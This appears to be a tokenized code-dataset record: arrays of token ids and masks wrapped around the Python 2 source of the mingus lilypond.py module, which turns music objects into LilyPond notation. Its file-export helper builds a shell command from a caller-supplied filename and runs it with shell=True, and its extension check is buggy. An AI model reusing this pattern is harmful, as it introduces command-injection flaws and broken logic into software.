8498, 63, 521, 275, 900, 14, 521, 342, 446, 1109, 8, 4930, 63, 4855, 9, 267, 372, 900, 14, 15198, 8, 4930, 63, 521, 9, 339, 347, 2218, 63, 475, 63, 6614, 8, 277, 12, 1245, 304, 267, 1245, 275, 295, 14, 954, 480, 779, 4, 1103, 64, 566, 401, 298, 8712, 8712, 1103, 17, 401, 1245, 9, 267, 327, 9987, 370, 1182, 2374, 15, 4707, 51, 16, 267, 2088, 275, 283, 12095, 1033, 446, 67, 298, 7878, 971, 4451, 5, 83, 15022, 690, 15, 2374, 15, 6614, 4507, 450, 1245, 267, 372, 291, 14, 1628, 63, 1531, 8, 1760, 9, 339, 347, 664, 63, 3088, 63, 1562, 8, 277, 12, 14304, 17364, 267, 2498, 63, 12165, 275, 298, 2384, 469, 12165, 93, 3680, 908, 8, 12165, 29, 12165, 9, 340, 14304, 587, 3087, 267, 2088, 275, 298, 711, 5552, 450, 83, 92, 282, 14947, 1994, 27732, 15, 469, 1361, 2672, 18, 93, 4065, 450, 2498, 63, 12165, 267, 372, 291, 14, 1628, 63, 1531, 8, 1760, 680, 1913, 1252, 2325, 342, 339, 347, 664, 63, 12165, 63, 354, 63, 991, 63, 3088, 8, 277, 12, 2287, 304, 267, 2088, 275, 298, 711, 446, 79, 2142, 1204, 282, 14947, 1994, 5, 83, 15, 469, 1361, 2672, 18, 93, 4065, 450, 2287, 267, 14304, 275, 291, 14, 1628, 63 ]
[ 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 295, 199, 646, 900, 199, 199, 504, 11258, 63, 793, 492, 943, 465, 2050, 199, 199, 504, 24076, 492, 1101, 199, 504, 24076, 14, 773, 14, 2330, 14, 1208, 14, 5135, 492, 3982, 63, 1258, 199, 646, 24076, 14, 773, 14, 3924, 199, 199, 3103, 275, 1101, 14, 3103, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 17283, 3041, 8, 3846, 63, 1258, 14, 6713, 3041, 304, 339, 327, 3254, 8, 7501, 1158, 73, 304, 4155, 642, 1021, 5906, 2410, 3952, 10417, 272, 327, 4483, 5784, 3102, 370, 24076, 14, 773, 436, 29579, 272, 327, 4483, 23361, 3102, 1536, 687, 642, 1021, 14, 272, 347, 636, 826, 721, 277, 12, 3384, 63, 1562, 12, 3434, 12, 2505, 29, 403, 12, 31130, 29, 403, 12, 326, 1654, 29, 403, 12, 8037, 63, 1258, 29, 403, 304, 267, 408, 4858, 3862, 3718, 315, 282, 7525, 1806, 8635, 398, 520, 635, 3384, 63, 1562, 26, 3531, 2287, 370, 8635, 370, 267, 520, 635, 3434, 26, 8635, 3434, 267, 520, 635, 2505, 26, 8635, 2505, 334, 4144, 9, 267, 520, 635, 31130, 26, 8635, 4575, 790, 334, 4144, 9, 267, 520, 635, 1654, 26, 1654, 1211, 12, 1202, 367, 10201, 12901, 267, 520, 635, 8037, 63, 1258, 26, 8037, 1890, 12, 1202, 367, 10201, 12901, 267, 408, 267, 1613, 8, 6713, 3041, 12, 291, 2843, 826, 721, 288, 3384, 63, 1562, 12, 3434, 12, 2505, 29, 2060, 12, 31130, 29, 23749, 12, 288, 1654, 29, 1000, 12, 8037, 63, 1258, 29, 5871, 63, 1258, 12, 288, 8635, 63, 2593, 29, 3103, 14, 6136, 14, 5510, 63, 2593, 12, 288, 4907, 63, 2593, 29, 3103, 14, 6136, 14, 2242, 63, 2593, 12, 288, 8559, 63, 1199, 63, 3827, 29, 3103, 14, 3357, 63, 4445, 63, 3827, 14, 6614, 63, 1199, 12, 288, 8635, 63, 5641, 63, 496, 793, 310, 29, 3103, 14, 6136, 14, 5510, 63, 5641, 63, 496, 793, 310, 12, 288, 18249, 63, 835, 29, 3103, 14, 6136, 14, 4073, 63, 835, 12, 288, 18249, 63, 890, 29, 3103, 14, 6136, 14, 4073, 63, 890, 9, 339, 327, 3390, 626, 642, 1083, 911, 440, 1736, 641, 428, 11344, 845, 13980, 83, 12, 465, 2985, 886, 272, 327, 440, 2291, 314, 11511, 2763, 641, 9100, 14023, 272, 347, 664, 63, 16203, 8, 277, 304, 267, 327, 9496, 1738, 4543, 7256, 465, 9164, 701, 9100, 14023, 267, 1414, 275, 283, 478, 14023, 446, 6374, 1553, 932, 1190, 7, 267, 1072, 275, 291, 14, 1628, 63, 1531, 8, 1531, 9, 267, 4895, 275, 942, 267, 2086, 275, 488, 267, 367, 634, 315, 1072, 14, 7644, 837, 288, 340, 2086, 365, 488, 436, 634, 14, 1623, 480, 2711, 531, 690, 378, 26, 355, 2086, 275, 634, 14, 1623, 480, 2711, 531, 355, 327, 12968, 1406, 1004, 4634, 355, 4895, 14, 740, 8, 76, 9, 288, 327, 9100, 14023, 5548, 4543, 730, 315, 282, 2763, 2451, 13, 19175, 543, 11511, 288, 916, 2086, 365, 440, 488, 436, 2086, 690, 378, 436, 634, 59, 1712, 26, 1712, 435, 841, 61, 508, 298, 4032, 582, 355, 4895, 14, 740, 8, 76, 9, 398, 340, 4895, 26, 288, 372, 1867, 78, 1674, 904, 8, 5511, 9, 267, 587, 26, 288, 1499, 275, 3546, 2711, 7, 2763, 365, 1415, 1325, 314, 1072, 3181, 1133, 1172, 652, 26, 298, 288, 746, 24076, 14, 773, 14, 3924, 14, 6530, 597, 1726, 8, 1328, 435, 1072, 9, 339, 347, 769, 63, 16203, 8, 277, 304, 267, 17602, 63, 513, 275, 291, 14, 362, 63, 16203, 342, 267, 17602, 63, 513, 275, 359, 604, 59, 16, 61, 367, 1004, 315, 1993, 359, 1782, 63, 354, 14, 1294, 342, 2432, 367, 2243, 63, 354, 315, 17602, 63, 513, 14, 7644, 342, 1527, 17, 21316, 267, 372, 17602, 63, 513, 339, 347, 664, 63, 4930, 63, 521, 8, 277, 304, 267, 2088, 275, 283, 5919, 446, 70, 17, 446, 68, 14, 1182, 4687, 15, 24853, 7, 267, 8498, 63, 4855, 275, 291, 14, 1628, 63, 1531, 8, 1760, 9, 267, 8498, 63, 521, 275, 900, 14, 521, 342, 446, 1109, 8, 4930, 63, 4855, 9, 267, 372, 900, 14, 15198, 8, 4930, 63, 521, 9, 339, 347, 2218, 63, 475, 63, 6614, 8, 277, 12, 1245, 304, 267, 1245, 275, 295, 14, 954, 480, 779, 4, 1103, 64, 566, 401, 298, 8712, 8712, 1103, 17, 401, 1245, 9, 267, 327, 9987, 370, 1182, 2374, 15, 4707, 51, 16, 267, 2088, 275, 283, 12095, 1033, 446, 67, 298, 7878, 971, 4451, 5, 83, 15022, 690, 15, 2374, 15, 6614, 4507, 450, 1245, 267, 372, 291, 14, 1628, 63, 1531, 8, 1760, 9, 339, 347, 664, 63, 3088, 63, 1562, 8, 277, 12, 14304, 17364, 267, 2498, 63, 12165, 275, 298, 2384, 469, 12165, 93, 3680, 908, 8, 12165, 29, 12165, 9, 340, 14304, 587, 3087, 267, 2088, 275, 298, 711, 5552, 450, 83, 92, 282, 14947, 1994, 27732, 15, 469, 1361, 2672, 18, 93, 4065, 450, 2498, 63, 12165, 267, 372, 291, 14, 1628, 63, 1531, 8, 1760, 680, 1913, 1252, 2325, 342, 339, 347, 664, 63, 12165, 63, 354, 63, 991, 63, 3088, 8, 277, 12, 2287, 304, 267, 2088, 275, 298, 711, 446, 79, 2142, 1204, 282, 14947, 1994, 5, 83, 15, 469, 1361, 2672, 18, 93, 4065, 450, 2287, 267, 14304, 275, 291, 14, 1628, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
chris-wood/python-mingus
mingus/extra/lilypond.py
8
7330
#!/usr/bin/python # -*- coding: utf-8 -*- # mingus - Music theory Python package, lilypond module. # Copyright (C) 2008-2009, Bart Spaans # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. """Functions to generate files in the LilyPond format. This allows you to create sheet music from some of the objects in mingus.containers. """ from mingus.core.keys import Key from mingus.containers.mt_exceptions import (NoteFormatError, UnexpectedObjectError) import mingus.core.value as value import os import subprocess def from_Note(note, process_octaves=True, standalone=True): """Get a Note object and return the LilyPond equivalent in a string. If process_octaves is set to False, all data regarding octaves will be ignored. If standalone is True, the result can be used by functions like to_png and will produce a valid output. The argument is mostly here to let from_NoteContainer make use of this function. """ # Throw exception if not hasattr(note, 'name'): return False # Lower the case of the name result = note.name[0].lower() # Convert #'s and b's to 'is' and 'es' suffixes for accidental in note.name[1:]: if accidental == '#': result += 'is' elif accidental == 'b': result += 'es' # Place ' and , for octaves if process_octaves: oct = note.octave if oct >= 4: while oct > 3: result += "'" oct -= 1 elif oct < 3: while oct < 3: result += ',' oct += 1 if standalone: return '{ %s }' % result else: return result def from_NoteContainer(nc, duration=None, standalone=True): """Get a NoteContainer object and return the LilyPond equivalent in a string. The second argument determining the duration of the NoteContainer is optional. When the standalone argument is True the result of this function can be used directly by functions like to_png. It is mostly here to be used by from_Bar. """ # Throw exception if nc is not None and not hasattr(nc, 'notes'): return False # Return rests for None or empty lists if nc is None or len(nc.notes) == 0: result = 'r' elif len(nc.notes) == 1: # Return a single note if the list contains only one note result = from_Note(nc.notes[0], standalone=False) else: # Return the notes grouped in '<' and '>' result = '<' for notes in nc.notes: result += from_Note(notes, standalone=False) + ' ' result = result[:-1] + '>' # Add the duration if duration != None: parsed_value = value.determine(duration) # Special case: check for longa and breve in the duration (issue #37) dur = parsed_value[0] if dur == value.longa: result += '\\longa' elif dur == value.breve: result += '\\breve' else: result += str(int(parsed_value[0])) for i in range(parsed_value[1]): result += '.' if not standalone: return result else: return '{ %s }' % result def from_Bar(bar, showkey=True, showtime=True): """Get a Bar object and return the LilyPond equivalent in a string. The showkey and showtime parameters can be set to determine whether the key and the time should be shown. """ # Throw exception if not hasattr(bar, 'bar'): return False # Process the key if showkey: key = '\\key %s \\major ' % from_Note(bar.key, False, standalone=False) result = key else: result = '' # Handle the NoteContainers latest_ratio = (1, 1) ratio_has_changed = False for bar_entry in bar.bar: parsed_value = value.determine(bar_entry[1]) ratio = parsed_value[2:] if ratio == latest_ratio: result += from_NoteContainer(bar_entry[2], bar_entry[1], standalone=False) + ' ' else: if ratio_has_changed: result += '}' result += '\\times %d/%d {' % (ratio[1], ratio[0]) result += from_NoteContainer(bar_entry[2], bar_entry[1], standalone=False) + ' ' latest_ratio = ratio ratio_has_changed = True if ratio_has_changed: result += '}' # Process the time if showtime: return '{ \\time %d/%d %s}' % (bar.meter[0], bar.meter[1], result) else: return '{ %s}' % result def from_Track(track): """Process a Track object and return the LilyPond equivalent in a string.""" # Throw exception if not hasattr(track, 'bars'): return False lastkey = Key('C') lasttime = (4, 4) # Handle the Bars: result = '' for bar in track.bars: if lastkey != bar.key: showkey = True else: showkey = False if lasttime != bar.meter: showtime = True else: showtime = False result += from_Bar(bar, showkey, showtime) + ' ' lastkey = bar.key lasttime = bar.meter return '{ %s}' % result def from_Composition(composition): """Return the LilyPond equivalent of a Composition in a string.""" # warning Throw exception if not hasattr(composition, 'tracks'): return False result = '\\header { title = "%s" composer = "%s" opus = "%s" } '\ % (composition.title, composition.author, composition.subtitle) for track in composition.tracks: result += from_Track(track) + ' ' return result[:-1] def from_Suite(suite): pass def to_png(ly_string, filename): """Save a string in LilyPond format to a PNG. LilyPond in the $PATH is needed. """ return save_string_and_execute_LilyPond(ly_string, filename, '-fpng') def to_pdf(ly_string, filename): """Save a string in LilyPond format to a PDF. LilyPond in the $PATH is needed. """ return save_string_and_execute_LilyPond(ly_string, filename, '-fpdf') def save_string_and_execute_LilyPond(ly_string, filename, command): """A helper function for to_png and to_pdf. Should not be used directly.""" ly_string = '\\version "2.10.33"\n' + ly_string if filename[-4] in ['.pdf' or '.png']: filename = filename[:-4] try: f = open(filename + '.ly', 'w') f.write(ly_string) f.close() except: return False command = 'lilypond %s -o "%s" "%s.ly"' % (command, filename, filename) print 'Executing: %s' % command p = subprocess.Popen(command, shell=True).wait() os.remove(filename + '.ly') return True
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 259, 333, 316, 527, 446, 28919, 9916, 30629, 2018, 2559, 12, 1212, 590, 31717, 859, 14, 199, 3, 259, 1898, 334, 35, 9, 9079, 13, 8664, 12, 699, 580, 17812, 796, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 624, 13967, 370, 3550, 1584, 315, 314, 491, 3444, 48, 7835, 1475, 14, 199, 199, 2765, 6127, 1265, 370, 1218, 12083, 30891, 687, 2005, 402, 314, 2251, 315, 199, 14566, 527, 14, 13577, 14, 199, 624, 199, 199, 504, 333, 316, 527, 14, 1018, 14, 1612, 492, 2606, 199, 504, 333, 316, 527, 14, 13577, 14, 2037, 63, 3924, 492, 334, 7443, 3484, 547, 12, 267, 25345, 1692, 547, 9, 199, 646, 333, 316, 527, 14, 1018, 14, 585, 465, 574, 199, 646, 747, 199, 646, 3873, 199, 199, 318, 687, 63, 7443, 8, 4610, 12, 2112, 63, 15560, 7047, 29, 549, 12, 18042, 29, 549, 304, 272, 408, 1002, 282, 3390, 909, 436, 372, 314, 491, 3444, 48, 7835, 7353, 315, 282, 1059, 14, 339, 982, 2112, 63, 15560, 7047, 365, 663, 370, 756, 12, 1006, 666, 12602, 17162, 7047, 911, 506, 272, 5525, 14, 982, 18042, 365, 715, 12, 314, 754, 883, 506, 1202, 701, 3423, 272, 2839, 370, 63, 4524, 436, 911, 7389, 282, 1686, 1072, 14, 710, 1423, 365, 19762, 2348, 272, 370, 4691, 687, 63, 7443, 4076, 1852, 675, 402, 642, 805, 14, 272, 408, 272, 327, 3868, 1143, 1919, 272, 340, 440, 2688, 8, 4610, 12, 283, 354, 735, 267, 372, 756, 339, 327, 29893, 314, 1930, 402, 314, 536, 272, 754, 275, 5317, 14, 354, 59, 16, 1055, 2325, 342, 339, 327, 7905, 17384, 83, 436, 330, 1159, 370, 283, 374, 7, 436, 283, 397, 7, 19475, 272, 367, 24634, 279, 315, 5317, 14, 354, 59, 17, 10688, 267, 340, 24634, 279, 508, 32326, 288, 754, 847, 283, 374, 7, 267, 916, 24634, 279, 508, 283, 66, 356, 288, 754, 847, 283, 397, 7, 339, 327, 10902, 283, 436, 2360, 367, 17162, 7047, 272, 340, 2112, 63, 15560, 7047, 26, 267, 17162, 275, 5317, 14, 15560, 811, 267, 340, 17162, 2356, 841, 26, 288, 1830, 17162, 690, 650, 26, 355, 754, 847, 21673, 355, 17162, 4862, 413, 267, 916, 17162, 665, 650, 26, 288, 1830, 17162, 665, 650, 26, 355, 754, 847, 13647, 355, 17162, 847, 413, 272, 340, 18042, 26, 267, 372, 5041, 450, 83, 789, 7, 450, 754, 272, 587, 26, 267, 372, 754, 199, 199, 318, 687, 63, 7443, 4076, 8, 7966, 12, 7373, 29, 403, 12, 18042, 29, 549, 304, 272, 408, 1002, 282, 3390, 4076, 909, 436, 372, 314, 491, 3444, 48, 7835, 7353, 315, 282, 272, 1059, 14, 339, 710, 3499, 1423, 26638, 314, 7373, 402, 314, 3390, 4076, 365, 272, 2716, 14, 3979, 314, 18042, 1423, 365, 715, 314, 754, 402, 642, 272, 805, 883, 506, 1202, 5370, 701, 3423, 2839, 370, 63, 4524, 14, 2779, 365, 19762, 272, 2348, 370, 506, 1202, 701, 687, 63, 5281, 14, 272, 408, 272, 327, 3868, 1143, 1919, 272, 340, 12698, 365, 440, 488, 436, 440, 2688, 8, 7966, 12, 283, 5983, 735, 267, 372, 756, 339, 327, 1432, 4618, 83, 367, 488, 503, 2701, 5548, 272, 340, 12698, 365, 488, 503, 822, 8, 7966, 14, 5983, 9, 508, 378, 26, 267, 754, 275, 283, 82, 7, 272, 916, 822, 8, 7966, 14, 5983, 9, 508, 413, 26, 339, 327, 1432, 282, 2849, 5317, 340, 314, 769, 3509, 1454, 1373, 5317, 267, 754, 275, 687, 63, 7443, 8, 7966, 14, 5983, 59, 16, 467, 18042, 29, 797, 9, 272, 587, 26, 267, 327, 1432, 314, 12681, 16251, 315, 24958, 436, 21770, 267, 754, 275, 24958, 267, 367, 12681, 315, 12698, 14, 5983, 26, 288, 754, 847, 687, 63, 7443, 8, 5983, 12, 18042, 29, 797, 9, 435, 283, 283, 267, 754, 275, 754, 4439, 17, 61, 435, 21770, 339, 327, 2654, 314, 7373, 272, 340, 7373, 1137, 488, 26, 267, 4565, 63, 585, 275, 574, 14, 22189, 8, 5553, 9, 398, 327, 12568, 1930, 26, 1104, 367, 1846, 65, 436, 330, 30496, 315, 314, 7373, 334, 5237, 327, 1401, 9, 267, 366, 300, 275, 4565, 63, 585, 59, 16, 61, 267, 340, 366, 300, 508, 574, 14, 2809, 65, 26, 288, 754, 847, 6468, 2809, 65, 7, 267, 916, 366, 300, 508, 574, 14, 10205, 432, 26, 288, 754, 847, 6468, 10205, 432, 7, 267, 587, 26, 288, 754, 847, 620, 8, 442, 8, 6751, 63, 585, 59, 16, 2459, 267, 367, 284, 315, 1425, 8, 6751, 63, 585, 59, 17, 4682, 288, 754, 847, 7815, 272, 340, 440, 18042, 26, 267, 372, 754, 272, 587, 26, 267, 372, 5041, 450, 83, 789, 7, 450, 754, 199, 199, 318, 687, 63, 5281, 8, 1700, 12, 2498, 498, 29, 549, 12, 2498, 521, 29, 549, 304, 272, 408, 1002, 282, 12377, 909, 436, 372, 314, 491, 3444, 48, 7835, 7353, 315, 282, 1059, 14, 339, 710, 2498, 498, 436, 2498, 521, 2633, 883, 506, 663, 370, 6705, 3775, 314, 272, 790, 436, 314, 900, 1077, 506, 9164, 14, 272, 408, 272, 327, 3868, 1143, 1919, 272, 340, 440, 2688, 8, 1700, 12 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 259, 333, 316, 527, 446, 28919, 9916, 30629, 2018, 2559, 12, 1212, 590, 31717, 859, 14, 199, 3, 259, 1898, 334, 35, 9, 9079, 13, 8664, 12, 699, 580, 17812, 796, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 624, 13967, 370, 3550, 1584, 315, 314, 491, 3444, 48, 7835, 1475, 14, 199, 199, 2765, 6127, 1265, 370, 1218, 12083, 30891, 687, 2005, 402, 314, 2251, 315, 199, 14566, 527, 14, 13577, 14, 199, 624, 199, 199, 504, 333, 316, 527, 14, 1018, 14, 1612, 492, 2606, 199, 504, 333, 316, 527, 14, 13577, 14, 2037, 63, 3924, 492, 334, 7443, 3484, 547, 12, 267, 25345, 1692, 547, 9, 199, 646, 333, 316, 527, 14, 1018, 14, 585, 465, 574, 199, 646, 747, 199, 646, 3873, 199, 199, 318, 687, 63, 7443, 8, 4610, 12, 2112, 63, 15560, 7047, 29, 549, 12, 18042, 29, 549, 304, 272, 408, 1002, 282, 3390, 909, 436, 372, 314, 491, 3444, 48, 7835, 7353, 315, 282, 1059, 14, 339, 982, 2112, 63, 15560, 7047, 365, 663, 370, 756, 12, 1006, 666, 12602, 17162, 7047, 911, 506, 272, 5525, 14, 982, 18042, 365, 715, 12, 314, 754, 883, 506, 1202, 701, 3423, 272, 2839, 370, 63, 4524, 436, 911, 7389, 282, 1686, 1072, 14, 710, 1423, 365, 19762, 2348, 272, 370, 4691, 687, 63, 7443, 4076, 1852, 675, 402, 642, 805, 14, 272, 408, 272, 327, 3868, 1143, 1919, 272, 340, 440, 2688, 8, 4610, 12, 283, 354, 735, 267, 372, 756, 339, 327, 29893, 314, 1930, 402, 314, 536, 272, 754, 275, 5317, 14, 354, 59, 16, 1055, 2325, 342, 339, 327, 7905, 17384, 83, 436, 330, 1159, 370, 283, 374, 7, 436, 283, 397, 7, 19475, 272, 367, 24634, 279, 315, 5317, 14, 354, 59, 17, 10688, 267, 340, 24634, 279, 508, 32326, 288, 754, 847, 283, 374, 7, 267, 916, 24634, 279, 508, 283, 66, 356, 288, 754, 847, 283, 397, 7, 339, 327, 10902, 283, 436, 2360, 367, 17162, 7047, 272, 340, 2112, 63, 15560, 7047, 26, 267, 17162, 275, 5317, 14, 15560, 811, 267, 340, 17162, 2356, 841, 26, 288, 1830, 17162, 690, 650, 26, 355, 754, 847, 21673, 355, 17162, 4862, 413, 267, 916, 17162, 665, 650, 26, 288, 1830, 17162, 665, 650, 26, 355, 754, 847, 13647, 355, 17162, 847, 413, 272, 340, 18042, 26, 267, 372, 5041, 450, 83, 789, 7, 450, 754, 272, 587, 26, 267, 372, 754, 199, 199, 318, 687, 63, 7443, 4076, 8, 7966, 12, 7373, 29, 403, 12, 18042, 29, 549, 304, 272, 408, 1002, 282, 3390, 4076, 909, 436, 372, 314, 491, 3444, 48, 7835, 7353, 315, 282, 272, 1059, 14, 339, 710, 3499, 1423, 26638, 314, 7373, 402, 314, 3390, 4076, 365, 272, 2716, 14, 3979, 314, 18042, 1423, 365, 715, 314, 754, 402, 642, 272, 805, 883, 506, 1202, 5370, 701, 3423, 2839, 370, 63, 4524, 14, 2779, 365, 19762, 272, 2348, 370, 506, 1202, 701, 687, 63, 5281, 14, 272, 408, 272, 327, 3868, 1143, 1919, 272, 340, 12698, 365, 440, 488, 436, 440, 2688, 8, 7966, 12, 283, 5983, 735, 267, 372, 756, 339, 327, 1432, 4618, 83, 367, 488, 503, 2701, 5548, 272, 340, 12698, 365, 488, 503, 822, 8, 7966, 14, 5983, 9, 508, 378, 26, 267, 754, 275, 283, 82, 7, 272, 916, 822, 8, 7966, 14, 5983, 9, 508, 413, 26, 339, 327, 1432, 282, 2849, 5317, 340, 314, 769, 3509, 1454, 1373, 5317, 267, 754, 275, 687, 63, 7443, 8, 7966, 14, 5983, 59, 16, 467, 18042, 29, 797, 9, 272, 587, 26, 267, 327, 1432, 314, 12681, 16251, 315, 24958, 436, 21770, 267, 754, 275, 24958, 267, 367, 12681, 315, 12698, 14, 5983, 26, 288, 754, 847, 687, 63, 7443, 8, 5983, 12, 18042, 29, 797, 9, 435, 283, 283, 267, 754, 275, 754, 4439, 17, 61, 435, 21770, 339, 327, 2654, 314, 7373, 272, 340, 7373, 1137, 488, 26, 267, 4565, 63, 585, 275, 574, 14, 22189, 8, 5553, 9, 398, 327, 12568, 1930, 26, 1104, 367, 1846, 65, 436, 330, 30496, 315, 314, 7373, 334, 5237, 327, 1401, 9, 267, 366, 300, 275, 4565, 63, 585, 59, 16, 61, 267, 340, 366, 300, 508, 574, 14, 2809, 65, 26, 288, 754, 847, 6468, 2809, 65, 7, 267, 916, 366, 300, 508, 574, 14, 10205, 432, 26, 288, 754, 847, 6468, 10205, 432, 7, 267, 587, 26, 288, 754, 847, 620, 8, 442, 8, 6751, 63, 585, 59, 16, 2459, 267, 367, 284, 315, 1425, 8, 6751, 63, 585, 59, 17, 4682, 288, 754, 847, 7815, 272, 340, 440, 18042, 26, 267, 372, 754, 272, 587, 26, 267, 372, 5041, 450, 83, 789, 7, 450, 754, 199, 199, 318, 687, 63, 5281, 8, 1700, 12, 2498, 498, 29, 549, 12, 2498, 521, 29, 549, 304, 272, 408, 1002, 282, 12377, 909, 436, 372, 314, 491, 3444, 48, 7835, 7353, 315, 282, 1059, 14, 339, 710, 2498, 498, 436, 2498, 521, 2633, 883, 506, 663, 370, 6705, 3775, 314, 272, 790, 436, 314, 900, 1077, 506, 9164, 14, 272, 408, 272, 327, 3868, 1143, 1919, 272, 340, 440, 2688, 8, 1700, 12, 0 ]
